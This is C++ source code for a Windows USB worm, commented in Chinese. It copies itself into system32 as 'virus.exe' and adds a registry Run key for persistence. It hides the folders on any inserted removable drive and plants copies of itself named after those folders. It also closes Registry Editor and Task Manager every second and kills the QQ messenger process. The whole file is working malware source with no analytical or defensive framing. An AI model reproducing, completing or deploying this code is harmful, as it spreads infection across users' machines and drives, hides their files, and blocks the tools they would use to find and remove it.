#include "stdafx.h"
#include <windows.h>
#include <Dbt.h>
#include <iostream>
#include"io.h"
#include "tlhelp32.h" 
using namespace std;
LRESULT CALLBACK WndProc(
  HWND hwnd,      // handle to window
  UINT uMsg,      // message identifier
  WPARAM wParam,  // first message parameter
  LPARAM lParam   // second message parameter
);

void KillProcess(HWND hwnd);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    WNDCLASS wndclass;
    wndclass.cbClsExtra=0;
  wndclass.cbWndExtra=0;
  wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
  wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
  wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
  wndclass.hInstance=hInstance;
  wndclass.lpfnWndProc=WndProc;
  wndclass.lpszClassName="lieying";
  wndclass.lpszMenuName=NULL;
  wndclass.style=CS_VREDRAW|CS_HREDRAW;

  RegisterClass(&wndclass);             //註冊視窗類

  HWND hwnd;
  hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
  ShowWindow(hwnd,SW_HIDE);       //隐藏視窗
  UpdateWindow(hwnd);
    MSG msg;
  while(GetMessage(&msg,hwnd,0,0))      //主迴圈
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }

  return 0;
}


LRESULT CALLBACK WndProc( HWND hwnd,   UINT uMsg,   WPARAM wParam,   LPARAM lParam  )   

{
  switch(uMsg)
  {

     case WM_PAINT:
       {
           PAINTSTRUCT ps;
             BeginPaint(hwnd,&ps);
           EndPaint(hwnd,&ps);
           break;
       }

     case WM_CLOSE:
       {
         DestroyWindow(hwnd);
           break;
       }

     case WM_DESTROY:
       {
         PostQuitMessage(0);
               break;
       }
     case WM_CREATE:                                //在視窗創建時，修改註冊表，實現開機啟動。
       {

                SetTimer(hwnd,1,1000,NULL);           //設定定時器，每秒調用一次

        //自我複製置系統目錄
        TCHAR ExeFullPath[MAX_PATH];
        GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //取得執行檔的路徑、名稱

          TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  //複製
        CopyFile(ExeFullPath,NewFilePath,TRUE);  


        //改註冊表。
        HKEY hkey;
        TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  
        TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
        RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));
        RegCloseKey(hkey);

         break;
       }


    case WM_DEVICECHANGE:          //誰身蝶插入的消息
      {
        if(lParam!=0)
        {
          PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定義PDEV_BROADCAST_HDR結構，系統填充結構訊息。
          if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
          {
            if(wParam==DBT_DEVICEARRIVAL)                       //隨身碟已經可以使用
            {
                long i,j;
              TCHAR buf[100];
              TCHAR *cdbuf;
              j=100;
              i=GetLogicalDriveStrings(j,buf);
              for(j=0;j<i;j+=4)
              {
                cdbuf=&buf[j];
                if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //確定一下插入的是不是磁碟，不然其他的東西像:滑鼠等就沒用
                {

                  TCHAR FileName[MAX_PATH];
                  strcpy(FileName,cdbuf);
                  TCHAR f[MAX_PATH]=TEXT("\\*.");
                  strcat(FileName,f);
                   struct _finddata_t files;
                   int File_Handle;
                   int i=0;
                   File_Handle = _findfirst(FileName,&files);              
                   if(File_Handle==-1)
                   {
                     break;
                   }

                   do
                   {
                    TCHAR temp[MAX_PATH];
                    strcpy(temp,strcat(cdbuf,"\\"));
                                        strcat(cdbuf,files.name);
                                        //正常顯示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
                                        SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //設定資料夾為隱藏、系統檔。
                    CopyFile("C:\\WINDOWS\\system32\\virus.exe",strcat(cdbuf,".exe"),FALSE); //將病毒複製到隨身碟，並用原資料夾名來命名。
                     i++;
                     strcpy(cdbuf,temp);
                   }
                  while(0==_findnext(File_Handle,&files));
                   _findclose(File_Handle);
                   //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
                }
              }

            }
          }
        }

      }
      break;



    case WM_TIMER:                                   //處理WM_TIMER消息
      {
           HWND hwReg=FindWindow("RegEdit_RegEdit","注册表编辑器");       //尋找註冊表編輯器
           if(hwReg!=NULL)
           {
             SendMessage(hwReg,WM_CLOSE,NULL,NULL);                     //如果找到就關閉
           }

           HWND hwTsk=FindWindow("#32770","Windows 任务管理器");          //找工作管理員
           if(hwTsk!=NULL)
           {
                        SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //一樣，找到就關
           }

           HWND hwQQ=FindWindow("TXGuiFoundation",NULL);             //找QQ
           if(hwQQ!=NULL)
           {
                        KillProcess(hwnd);  //關掉QQ
           }
      }
      break;



       default:
       {
          return DefWindowProc(hwnd,uMsg,wParam,lParam);
          break;
       }
  }

  return 0;
}




void KillProcess(HWND hwnd)  //關QQ
{  
     //   TODO:   Add   your   control   notification   handler   code   here  
     //   PROCESSENTRY32結構对象
       PROCESSENTRY32 pe;  
       pe.dwSize = sizeof(PROCESSENTRY32);  
     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  
      //   從第一個開始找
     Process32First(hSnapshot, &pe);  
   
     TCHAR szFile[MAX_PATH];
        int p;  


     //   下面对系统中的所有进程进行枚举
     do{  
             lstrcpy(szFile, pe.szExeFile);
             p = lstrcmp(szFile, "QQ.exe");
             if(0 == p)   //if(strlen(pe.szExeFile)>0)判斷是否為系統
               {
                   HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);   
                    

                     //取得他
                   if(h)   
                           TerminateProcess(h, 0);  //關閉
                         //break;
             }   
         }while(Process32Next(hSnapshot, &pe));


      
    CloseHandle(hSnapshot);
}